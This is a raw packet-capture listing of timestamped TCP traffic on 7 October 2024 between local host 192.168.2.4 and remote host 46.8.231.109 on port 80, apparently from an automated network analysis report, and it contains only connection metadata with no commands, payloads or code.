Oct 7, 2024 03:03:11.897576094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897578001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897593975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897610903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897623062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897627115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897640944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897644997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897665977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897701979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897838116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.897888899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.897998095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.898030043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.898046970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.898073912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899043083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899104118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899110079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899157047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899158001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899204969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899218082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899271011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899275064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899311066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899321079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899359941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899369001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899416924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899441004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899496078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899528027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899532080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899545908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899568081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899573088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899605989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899612904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899643898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899652958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899682045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899691105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899719954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899729967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899754047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899766922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899789095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899826050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899841070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899841070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899859905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899872065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899900913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899909973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899914980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.899940968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899961948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.899967909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900017023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900019884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900057077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900062084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900091887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900103092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900129080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900142908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900162935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900175095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900194883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900209904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900233030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900243044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900266886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900301933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900317907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900317907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900336027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900346994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900381088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900382996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900424004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900429964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900437117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900463104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900475025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900487900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900506020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900518894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900543928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900553942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900589943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900604010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900635958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900655985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900671959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900707960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900722027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900722027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900741100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900753975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900774956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900785923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900789022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900813103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900821924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900830984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900856972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900866032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900892973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900895119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900928974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900938988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.900965929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.900978088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901000977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901015043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901035070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901046991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901072025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901084900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901109934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901140928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901146889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901160955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901180983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901192904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901216030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901231050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901256084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901264906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901269913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901297092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901321888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901339054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901357889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901371002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901395082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901407003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901431084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901448965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901468992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901484013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901508093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901542902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901556015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901556015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901581049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.901595116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.901626110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937648058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937694073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937750101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937753916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937789917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937824965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937824965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937832117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937839031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937870026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.937880039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.937922955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.938380957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.938419104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.938456059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.938466072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987179041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987256050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987260103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987308025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987313032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987361908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987371922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987426996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987443924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987493038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987494946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987534046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987549067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987570047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987584114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987620115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987628937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987680912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987685919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987721920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987735033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987759113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987772942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987798929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987828970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987848043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987854958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987891912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987903118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987936974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987941980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.987972021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.987986088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988023043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988029957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988082886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988089085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988125086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988138914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988158941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988174915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988198042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988234997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988250971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988250971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988267899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988284111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988302946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988313913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988337040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988353014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988374949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988387108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988411903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988426924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988459110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988467932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988503933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988519907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988538980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988554955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988574028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988593102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988614082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988626003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988650084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988682985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988697052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988701105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988729954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988737106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988790035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988814116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988852978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988868952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988888979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988909006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988924026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988943100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988960028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.988975048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.988995075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989008904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989036083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989047050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989085913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989090919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989129066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989142895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989165068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989201069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989202023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989209890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989249945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989262104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989314079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989315033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989362955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989367962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989402056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989418983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989437103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989449024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989485979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989494085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989545107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989552021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989587069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989622116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989645004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989660025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989685059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989716053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989722967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989752054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989767075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989799976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989805937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989841938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989856958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989887953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989912987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989948034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989964008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.989986897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.989996910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990017891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990035057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990052938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990066051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990092039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990103960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990144968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990149021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990184069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990200996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990231037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990231991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990276098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990282059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990312099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990319014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990350962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990375996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990387917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990400076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990425110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990437984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990459919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990473032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990497112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990509033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990531921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990561962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990569115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990581036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990602016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990617037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990650892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990650892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990686893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990695953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990722895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990737915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990761995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.990775108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.990798950 CEST	80	49731	46.8.231.109	192.168.2.4
